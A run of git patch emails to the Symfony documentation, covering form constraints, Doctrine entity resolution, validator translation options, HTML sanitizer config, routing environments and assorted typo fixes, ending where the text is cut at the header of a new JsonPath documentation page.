From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jun 2025 11:09:01 +0200
Subject: [PATCH 5717/5766] [Form] Document conditional constraints in forms
 without classes

---
 form/without_class.rst | 38 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 38 insertions(+)

diff --git a/form/without_class.rst b/form/without_class.rst
index 8b0af7cf23f..c0da3c9db5a 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -177,3 +177,41 @@ in your controller::
         ->add('firstName', TextType::class)
         ->add('lastName', TextType::class)
         ->getForm();
+
+Conditional Constraints
+~~~~~~~~~~~~~~~~~~~~~~~
+
+It's possible to define field constraints that depend on the value of other
+fields (e.g. a field must not be blank when another field has a certain value).
+To achieve this, use the ``expression`` option of the
+:doc:`When constraint </reference/constraints/When>` to reference the other field::
+
+    $builder
+        ->add('how_did_you_hear', ChoiceType::class, [
+            'required' => true,
+            'label' => 'How did you hear about us?',
+            'choices' => [
+                'Search engine' => 'search_engine',
+                'Friends' => 'friends',
+                'Other' => 'other',
+            ],
+            'expanded' => true,
+            'constraints' => [
+                new Assert\NotBlank(),
+            ]
+        ])
+
+        // this field is only required if the value of the 'how_did_you_hear' field is 'other'
+        ->add('other_text', TextType::class, [
+            'required' => false,
+            'label' => 'Please specify',
+            'constraints' => [
+                new Assert\When(
+                    expression: 'this.getParent().get("how_did_you_hear").getData() == "other"',
+                    constraints: [
+                        new Assert\NotBlank(),
+                    ],
+                )
+            ],
+        ])
+    ;

From bb6be95ebbfcad8c558ca0c7504efaa69e28e511 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jun 2025 12:59:37 +0200
Subject: [PATCH 5718/5766] [Doctrine] Show nullable arguments in
 EntityValueResolver

---
 doctrine.rst | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 6abf5fa7928..ae7cb259628 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -650,7 +650,21 @@ automatically! You can simplify the controller to::
     }
 
 That's it! The attribute uses the ``{id}`` from the route to query for the ``Product``
-by the ``id`` column. If it's not found, a 404 page is generated.
+by the ``id`` column. If it's not found, a 404 error is thrown.
+
+You can change this behavior by making the controller argument optional. In that
+case, no 404 is thrown automatically and you're free to handle the missing entity
+yourself::
+
+    #[Route('/product/{id}')]
+    public function show(?Product $product): Response
+    {
+        if (null === $product) {
+            // run your own logic to return a custom response
+        }
+
+        // ...
+    }
 
 .. tip::
 

From 56d1512aaa06bc9fba4ffe6209147e72f04b5cc7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jun 2025 13:08:36 +0200
Subject: [PATCH 5719/5766] [HttpClient] Mention the merging of custom options
 and default scoped options

---
 http_client.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index e2b0b4f41bf..15a3a9ef8a8 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -334,6 +334,12 @@ autoconfigure the HTTP client based on the requested URL:
 You can define several scopes, so that each set of options is added only if a
 requested URL matches one of the regular expressions set by the ``scope`` option.
 
+.. note::
+
+    The options passed to the ``request()`` method are merged with the default
+    options defined in the scoped client. The options passed to ``request()``
+    take precedence and override or extend the default ones.
+
 If you use scoped clients in the Symfony framework, you must use any of the
 methods defined by Symfony to :ref:`choose a specific service <services-wire-specific-service>`.
 Each client has a unique service named after its configuration.

From c35917dee345d7497960c9872febed65b8fcb7a0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Jun 2025 22:51:27 +0200
Subject: [PATCH 5720/5766] Use DOCtor-RST 1.69.1

---
 .github/workflows/ci.yaml             | 2 +-
 cache.rst                             | 2 +-
 mailer.rst                            | 4 ++--
 reference/configuration/framework.rst | 2 +-
 templates.rst                         | 2 +-
 5 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6b00e771e3b..3722546330d 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -72,7 +72,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.69.0
+                uses: docker://oskarstark/doctor-rst:1.69.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/cache.rst b/cache.rst
index 2dec1e6a758..bcd282af670 100644
--- a/cache.rst
+++ b/cache.rst
@@ -975,9 +975,9 @@ a message bus to compute values in a worker:
     .. code-block:: php
 
         // config/framework/framework.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Component\Cache\Messenger\EarlyExpirationMessage;
         use Symfony\Config\FrameworkConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
 
         return static function (FrameworkConfig $framework): void {
             $framework->cache()
diff --git a/mailer.rst b/mailer.rst
index 52c6ee7dded..b1976444ac3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -54,8 +54,8 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
     .. code-block:: php
 
         // config/packages/mailer.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
 
         return static function (FrameworkConfig $framework): void {
             $framework->mailer()->dsn(env('MAILER_DSN'));
@@ -1411,8 +1411,8 @@ This can be configured by replacing the ``dsn`` configuration entry with a
     .. code-block:: php
 
         // config/packages/mailer.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
 
         return static function (FrameworkConfig $framework): void {
             $framework->mailer()
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 83cbc0e1135..6376c057940 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1712,8 +1712,8 @@ and also to configure the session handler with a DSN:
     .. code-block:: php
 
         // config/packages/framework.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
 
         return static function (FrameworkConfig $framework): void {
             // ...
diff --git a/templates.rst b/templates.rst
index 5e34b930d0e..0041077dfed 100644
--- a/templates.rst
+++ b/templates.rst
@@ -510,8 +510,8 @@ in container parameters <service-container-parameters>`:
     .. code-block:: php
 
         // config/packages/twig.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
         use Symfony\Config\TwigConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
 
         return static function (TwigConfig $twig): void {
             // ...

From f3c8163f2751ab06836f24c83f6b8d70df2b0257 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Jun 2025 23:07:19 +0200
Subject: [PATCH 5721/5766] minor

---
 lock.rst                              | 2 +-
 reference/configuration/framework.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/lock.rst b/lock.rst
index d9d57481f3d..6bfe7a5390e 100644
--- a/lock.rst
+++ b/lock.rst
@@ -135,8 +135,8 @@ this behavior by using the ``lock`` key like:
     .. code-block:: php
 
         // config/packages/lock.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
 
         return static function (FrameworkConfig $framework): void {
             $framework->lock()
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d30b8e3879c..26e36b264fe 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2811,8 +2811,8 @@ the name as key and DSN or service id as value:
     .. code-block:: php
 
         // config/packages/semaphore.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
 
         return static function (FrameworkConfig $framework): void {
             $framework->semaphore()

From 6f6566daa3a06c474f965792a5d6fa9f8c728f82 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jun 2025 15:21:19 +0200
Subject: [PATCH 5722/5766] [Validation] Add the `disable_translation` option

---
 reference/configuration/framework.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ad2b7587e5f..e37e28f6caf 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3660,6 +3660,22 @@ Defines the Doctrine entities that will be introspected to add
                     ]);
         };
 
+.. _reference-validation-disable_translation:
+
+disable_translation
+...................
+
+**type**: ``boolean`` **default**: ``false``
+
+Validation error messages are automatically translated to the current application
+locale. Set this option to ``true`` to disable translation of validation messages.
+This is useful to avoid "missing translation" errors in applications that use
+only a single language.
+
+.. versionadded:: 7.3
+
+    The ``disable_translation`` option was introduced in Symfony 7.3.
+
 .. _reference-validation-email_validation_mode:
 
 email_validation_mode

From d05f7487b4d16cdb584739555583ac74e00f0c0a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jun 2025 15:28:03 +0200
Subject: [PATCH 5723/5766] [Validator] Mention how to disable validation
 translation in ConstraintViolationBuilderInterface

---
 validation/custom_constraint.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 8fcb0c5c10e..c935eb538b7 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -180,6 +180,16 @@ message as its argument and returns an instance of
 :class:`Symfony\\Component\\Validator\\Violation\\ConstraintViolationBuilderInterface`.
 The ``addViolation()`` method call finally adds the violation to the context.
 
+.. tip::
+
+    Validation error messages are automatically translated to the current application
+    locale. If your application doesn't use translations, you can disable this behavior
+    by calling the ``disableTranslation()`` method of ``ConstraintViolationBuilderInterface``.
+
+    .. versionadded:: 6.4
+
+        The ``disableTranslation()`` method was introduced in Symfony 6.4.
+
 Using the new Validator
 -----------------------
 

From 9b0e108449a2a2e8368d88806b58e9f6a8a57790 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jun 2025 08:13:20 +0200
Subject: [PATCH 5724/5766] Add a reference to a config option

---
 validation/custom_constraint.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 031e37b79b2..1996c64e3ca 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -181,6 +181,7 @@ The ``addViolation()`` method call finally adds the violation to the context.
     Validation error messages are automatically translated to the current application
     locale. If your application doesn't use translations, you can disable this behavior
     by calling the ``disableTranslation()`` method of ``ConstraintViolationBuilderInterface``.
+    See also the :ref:`framework.validation.disable_translation option <reference-validation-disable_translation>`.
 
     .. versionadded:: 6.4
 

From 271313b99ef6ab080d166287a14acf5286e43871 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jun 2025 08:13:54 +0200
Subject: [PATCH 5725/5766] Remove a versionadded directive

---
 validation/custom_constraint.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 665bc361dc4..6af3097a829 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -182,10 +182,6 @@ The ``addViolation()`` method call finally adds the violation to the context.
     locale. If your application doesn't use translations, you can disable this behavior
     by calling the ``disableTranslation()`` method of ``ConstraintViolationBuilderInterface``.
 
-    .. versionadded:: 6.4
-
-        The ``disableTranslation()`` method was introduced in Symfony 6.4.
-
 Using the new Validator
 -----------------------
 

From 87fff9cd654b1350a6578b97e5874bd5feec2af3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Nico=20Hiort=20af=20Orn=C3=A4s?= <nico@warpspeed.solutions>
Date: Wed, 4 Jun 2025 23:30:30 +0300
Subject: [PATCH 5726/5766] Add note to IBAN validator documentation about
 whitespace handling

---
 reference/constraints/Iban.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index 3cf800200e2..fac17f82739 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -85,6 +85,14 @@ will contain an International Bank Account Number.
 
 .. include:: /reference/constraints/_empty-values-are-valid.rst.inc
 
+.. note::
+
+    The IBAN validator accepts various human-readable formats, including different
+    whitespace types (e.g., spaces, non-breaking spaces). This flexibility may
+    cause issues when storing IBANs or integrating with APIs expecting a strict
+    format. Consider normalizing IBANs (e.g., removing whitespace) before storage
+    or processing to ensure compatibility.
+
 Options
 -------
 

From b5a3e1508e745659404c4c055fe3b34453817b08 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jun 2025 09:04:25 +0200
Subject: [PATCH 5727/5766] Minor reword

---
 reference/constraints/Iban.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index fac17f82739..849d93cb565 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -87,11 +87,12 @@ will contain an International Bank Account Number.
 
 .. note::
 
-    The IBAN validator accepts various human-readable formats, including different
-    whitespace types (e.g., spaces, non-breaking spaces). This flexibility may
-    cause issues when storing IBANs or integrating with APIs expecting a strict
-    format. Consider normalizing IBANs (e.g., removing whitespace) before storage
-    or processing to ensure compatibility.
+    For convenience, the IBAN validator accepts values with various types of
+    whitespace (e.g., regular, non-breaking, and narrow non-breaking spaces),
+    which are automatically removed before validation. However, this flexibility
+    can cause issues when storing IBANs or sending them to APIs that expect a
+    strict format. To ensure compatibility, normalize IBANs by removing
+    whitespace and converting them to uppercase before storing or processing.
 
 Options
 -------

From 56283ea769da02334a8f16f3ad40a850d3d01708 Mon Sep 17 00:00:00 2001
From: Deepak Kumar <deekumar224@gmail.com>
Date: Thu, 5 Jun 2025 11:24:08 +0530
Subject: [PATCH 5728/5766] Fix typo in documentation: changed "controller" to
 "number" method

Updated the line that incorrectly instructed to create a "controller" method.
Replaced it with "number" method to align with the actual example context.

Original:
To do that, create a "Controller" class and a "controller" method inside of it:

Updated:
To do that, create a "Controller" class and a "number" method inside of it:
---
 page_creation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/page_creation.rst b/page_creation.rst
index f8b2fdaf251..8ab89baa9f6 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -36,7 +36,7 @@ Creating a Page: Route and Controller
 
 Suppose you want to create a page - ``/lucky/number`` - that generates a lucky (well,
 random) number and prints it. To do that, create a "Controller" class and a
-"controller" method inside of it::
+"number" method inside of it::
 
     <?php
     // src/Controller/LuckyController.php

From 22f737e92d040cb37b24d59cc7045bf5ccb598be Mon Sep 17 00:00:00 2001
From: sebgarwood-gl <seb.garwood@goodlord.co>
Date: Fri, 6 Jun 2025 10:40:04 +0100
Subject: [PATCH 5729/5766] Fix dead link to Mathias Noback blog

---
 components/messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index c56c2bace82..fe3d2926714 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -366,5 +366,5 @@ Learn more
     /messenger
     /messenger/*
 
-.. _`blog posts about command buses`: https://matthiasnoback.nl/tags/command%20bus/
+.. _`blog posts about command buses`: https://matthiasnoback.nl/tags/command-bus/
 .. _`SimpleBus project`: https://docs.simplebus.io/en/latest/

From c8b626364a63950945b9991c19efca84fe07e268 Mon Sep 17 00:00:00 2001
From: Alessandro Podo <47177650+alessandro-podo@users.noreply.github.com>
Date: Sun, 8 Jun 2025 03:05:30 +0200
Subject: [PATCH 5730/5766] fix: use correct function and parameter name

---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index e6d1084603c..83b0f2d4b0c 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -331,7 +331,7 @@ Then, override one or both of the following methods::
 
         // this method returns true if the voter applies to the given object class/type;
         // if it returns false, Symfony won't call it again for that type of object
-        public function supportsAttribute(string $attribute): bool
+        public function supportsType(string subjectType): bool
         {
             // you can't use a simple Post::class === $subjectType comparison
             // because the subject type might be a Doctrine proxy class

From 2ee75784aa1c16273dddb9cfcafadc91145b088e Mon Sep 17 00:00:00 2001
From: Alessandro Podo <podo@lrz.de>
Date: Sun, 8 Jun 2025 18:19:05 +0200
Subject: [PATCH 5731/5766] fix missing $

---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index 83b0f2d4b0c..8959e0bf3cd 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -331,7 +331,7 @@ Then, override one or both of the following methods::
 
         // this method returns true if the voter applies to the given object class/type;
         // if it returns false, Symfony won't call it again for that type of object
-        public function supportsType(string subjectType): bool
+        public function supportsType(string $subjectType): bool
         {
             // you can't use a simple Post::class === $subjectType comparison
             // because the subject type might be a Doctrine proxy class

From fb1931c3cee0f598168b5c21d6bee54628dd2544 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 9 Jun 2025 23:25:24 +0200
Subject: [PATCH 5732/5766] [Console] Adding custom indices

Page: https://symfony.com/doc/6.4/console/style.html#user-input-methods

Wording is shortened from https://symfony.com/doc/current/components/console/helpers/questionhelper.html#let-the-user-choose-from-a-list-of-answers
---
 console/style.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/console/style.rst b/console/style.rst
index bcc4d982457..9333409a13f 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -327,6 +327,11 @@ User Input Methods
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], 'queue1');
 
+    Choice questions display both the choice value and a numeric index, which starts from 0
+    by default. To use custom indices, pass an array with custom numeric keys as the choice values::
+
+        $io->choice('Select the queue to analyze', [5 => 'queue1', 6 => 'queue2', 7 => 'queue3']);
+
     Finally, you can allow users to select multiple choices. To do so, users must
     separate each choice with a comma (e.g. typing ``1, 2`` will select choice 1
     and 2)::

From ad18b269f013620390379b10bdf94bd7866c0ad6 Mon Sep 17 00:00:00 2001
From: miqrogroove <1371835+miqrogroove@users.noreply.github.com>
Date: Sat, 31 May 2025 10:11:10 -0400
Subject: [PATCH 5733/5766] Example of allowed element with attributes
 disallowed

---
 html_sanitizer.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index b412a49f321..5a02ee3990b 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -318,6 +318,8 @@ attributes from the `W3C Standard Proposal`_ are allowed.
                             img: 'src'
                             # allow the <h1> element with all safe attributes
                             h1: '*'
+                            # allow the <div> element with no attributes
+                            div: []
 
     .. code-block:: xml
 

From 2e7b619449139c27375d5638ee622c9f584b04f6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Jun 2025 08:46:40 +0200
Subject: [PATCH 5734/5766] Add missing config formats

---
 html_sanitizer.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 5a02ee3990b..17096db913f 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -349,9 +349,12 @@ attributes from the `W3C Standard Proposal`_ are allowed.
                         </framework:allow-element>
 
                         <!-- allow the <h1> element with all safe attributes -->
-                        <framework:allow-element name="img">
+                        <framework:allow-element name="h1">
                             <framework:attribute>*</framework:attribute>
                         </framework:allow-element>
+
+                        <!-- allow the <div> element with no attributes -->
+                        <framework:allow-element name="div"/>
                     </framework:sanitizer>
                 </framework:html-sanitizer>
             </framework:config>
@@ -373,6 +376,9 @@ attributes from the `W3C Standard Proposal`_ are allowed.
 
                     // allow the <h1> element with all safe attributes
                     ->allowElement('h1', '*')
+
+                    // allow the <div> element with no attributes
+                    ->allowElement('div', [])
             ;
         };
 
@@ -391,6 +397,9 @@ attributes from the `W3C Standard Proposal`_ are allowed.
 
                 // allow the <h1> element with all safe attributes
                 ->allowElement('h1')
+
+                // allow the <div> element with no attributes
+                ->allowElement('div', [])
         );
 
 Block and Drop Elements

From 75685fe42b0060369a959783235faa72160fc49e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Jun 2025 09:03:40 +0200
Subject: [PATCH 5735/5766] Minor tweaks

---
 console/style.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/console/style.rst b/console/style.rst
index 9333409a13f..8540ce493f2 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -327,8 +327,9 @@ User Input Methods
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], 'queue1');
 
-    Choice questions display both the choice value and a numeric index, which starts from 0
-    by default. To use custom indices, pass an array with custom numeric keys as the choice values::
+    Choice questions display both the choice value and a numeric index, which
+    starts from ``0`` by default. To use custom indices, pass an array with
+    custom numeric keys as the choice values::
 
         $io->choice('Select the queue to analyze', [5 => 'queue1', 6 => 'queue2', 7 => 'queue3']);
 

From 4ac67ef933d8d0cad916d837efa9caa37341691e Mon Sep 17 00:00:00 2001
From: Pierre MORADEI <pierre.moradei@gmail.com>
Date: Wed, 11 Jun 2025 09:40:32 +0200
Subject: [PATCH 5736/5766] Update custom_constraint.rst

grammar fix
---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index c935eb538b7..cd5197c860e 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -328,7 +328,7 @@ define those options as public properties on the constraint class::
     }
 
 Then, inside the validator class you can access these options directly via the
-constraint class passes to the ``validate()`` method::
+constraint class passed to the ``validate()`` method::
 
     class FooValidator extends ConstraintValidator
     {

From 5edccbfa808a98cc9801d90ef19cd3e64dbf3fdc Mon Sep 17 00:00:00 2001
From: Ian Kevin Irlen <kvinirlen@gmail.com>
Date: Thu, 12 Jun 2025 14:19:43 +0400
Subject: [PATCH 5737/5766] Update custom_normalizer.rst

---
 serializer/custom_normalizer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 9c037f7f33c..4e78d9d394e 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -38,14 +38,14 @@ normalization process::
 
         public function normalize(mixed $data, ?string $format = null, array $context = []): array
         {
-            $data = $this->normalizer->normalize($data, $format, $context);
+            $normalizedData = $this->normalizer->normalize($data, $format, $context);
 
             // Here, add, edit, or delete some data:
-            $data['href']['self'] = $this->router->generate('topic_show', [
-                'id' => $object->getId(),
+            $normalizedData['href']['self'] = $this->router->generate('topic_show', [
+                'id' => $data->getId(),
             ], UrlGeneratorInterface::ABSOLUTE_URL);
 
-            return $data;
+            return $normalizedData;
         }
 
         public function supportsNormalization($data, ?string $format = null, array $context = []): bool

From e0dc6a2b39a357fe38151fc2efd5856ea6c443d8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Jun 2025 12:07:51 +0200
Subject: [PATCH 5738/5766] Add a missing doc redirection

---
 _build/redirection_map | 1 +
 1 file changed, 1 insertion(+)

diff --git a/_build/redirection_map b/_build/redirection_map
index 3bad633e0e1..896c58a3022 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -569,3 +569,4 @@
 /frontend/encore/server-data /frontend/server-data
 /components/serializer /serializer
 /serializer/custom_encoder /serializer/encoders#serializer-custom-encoder
+/components/string /string

From f599ae4f3e2ca4dc48f9c77455acffed2b2ce9ec Mon Sep 17 00:00:00 2001
From: Nicolas Giraud <nicolas.giraud.dev@gmail.com>
Date: Fri, 13 Jun 2025 11:33:15 +0200
Subject: [PATCH 5739/5766] [Validator] Fix parameters list in
 Choice::$multipleMessage option

---
 reference/constraints/Choice.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 3ef8c802815..cb1738eb7a6 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -304,6 +304,7 @@ Parameter          Description
 =================  ============================================================
 ``{{ choices }}``  A comma-separated list of available choices
 ``{{ value }}``    The current (invalid) value
+``{{ limit }}``    The maximum number of selectable choices
 =================  ============================================================
 
 match
@@ -362,6 +363,7 @@ Parameter          Description
 =================  ============================================================
 ``{{ choices }}``  A comma-separated list of available choices
 ``{{ value }}``    The current (invalid) value
+``{{ limit }}``    The minimum number of selectable choices
 =================  ============================================================
 
 ``multiple``
@@ -385,11 +387,11 @@ is not in the array of valid choices.
 
 You can use the following parameters in this message:
 
-===============  ==============================================================
-Parameter        Description
-===============  ==============================================================
-``{{ value }}``  The current (invalid) value
-``{{ label }}``  Corresponding form field label
-===============  ==============================================================
+=================  ============================================================
+Parameter          Description
+=================  ============================================================
+``{{ choices }}``  A comma-separated list of available choices
+``{{ value }}``    The current (invalid) value
+=================  ============================================================
 
 .. include:: /reference/constraints/_payload-option.rst.inc

From e86d6a998d5f6297bdce3c5fde4886be0b15dc79 Mon Sep 17 00:00:00 2001
From: Chris Smith <chris.smith@widerplan.com>
Date: Fri, 13 Jun 2025 15:54:53 +0100
Subject: [PATCH 5740/5766] Document route environment condition that was added
 in 5.3

---
 routing.rst | 66 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 66 insertions(+)

diff --git a/routing.rst b/routing.rst
index 38833a16523..be915855785 100644
--- a/routing.rst
+++ b/routing.rst
@@ -254,6 +254,72 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
 
 .. _routing-matching-expressions:
 
+Matching Environments
+~~~~~~~~~~~~~~~~~~~~~
+
+The ``env`` option can be used to make a route conditional on the
+:ref:`configuration environment <configuration-environments>`, the route will
+only be registered if the environment matches.
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Controller/DefaultController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Attribute\Route;
+
+        class DefaultController extends AbstractController
+        {
+            #[Route(
+                '/tools',
+                name: 'tools',
+                env: 'dev',
+            )]
+            public function developerTools(): Response
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+        tools:
+            path:       /tools
+            controller: App\Controller\DefaultController::developerTools
+            env:        dev
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+
+            <route id="tools" path="/tools" controller="App\Controller\DefaultController::developerTools">
+                <env>dev</env>
+            </route>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes.php
+        use App\Controller\DefaultController;
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes): void {
+            $routes->add('tools', '/tools')
+                ->controller([DefaultController::class, 'developerTools'])
+                ->env('dev')
+            ;
+        };
+
 Matching Expressions
 ~~~~~~~~~~~~~~~~~~~~
 

From 432f468059889548545b4959ade7473715628c16 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=D0=93=D1=80=D0=B8=D0=B3=D0=BE=D1=80=D0=B8=D0=B9?=
 <grin180898@mail.ru>
Date: Sun, 15 Jun 2025 19:37:58 +0300
Subject: [PATCH 5741/5766] Update tree.rst

fix($ sign before the variable)
---
 components/console/helpers/tree.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/tree.rst b/components/console/helpers/tree.rst
index b5839b74a26..0839fb943e2 100644
--- a/components/console/helpers/tree.rst
+++ b/components/console/helpers/tree.rst
@@ -115,7 +115,7 @@ class and adding nodes to it::
     $testsNode = new TreeNode('tests/');
     $functionalTestsNode = new TreeNode('Functional/');
     $testsNode->addChild($functionalTestsNode);
-    $root->addChild(testsNode);
+    $root->addChild($testsNode);
 
     $tree = TreeHelper::createTree($io, $root);
     $tree->render();

From abc2df67c5e74731eebbd975e178600c30982112 Mon Sep 17 00:00:00 2001
From: Vincent Amstoutz <vincent.amstoutz@outlook.com>
Date: Thu, 12 Jun 2025 16:59:06 +0200
Subject: [PATCH 5742/5766] docs(json-path): initiate doc for the component

---
 components/json_path.rst | 246 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 246 insertions(+)
 create mode 100644 components/json_path.rst

diff --git a/components/json_path.rst b/components/json_path.rst
new file mode 100644
index 00000000000..bd0f7c72dcf
--- /dev/null
+++ b/components/json_path.rst
@@ -0,0 +1,246 @@
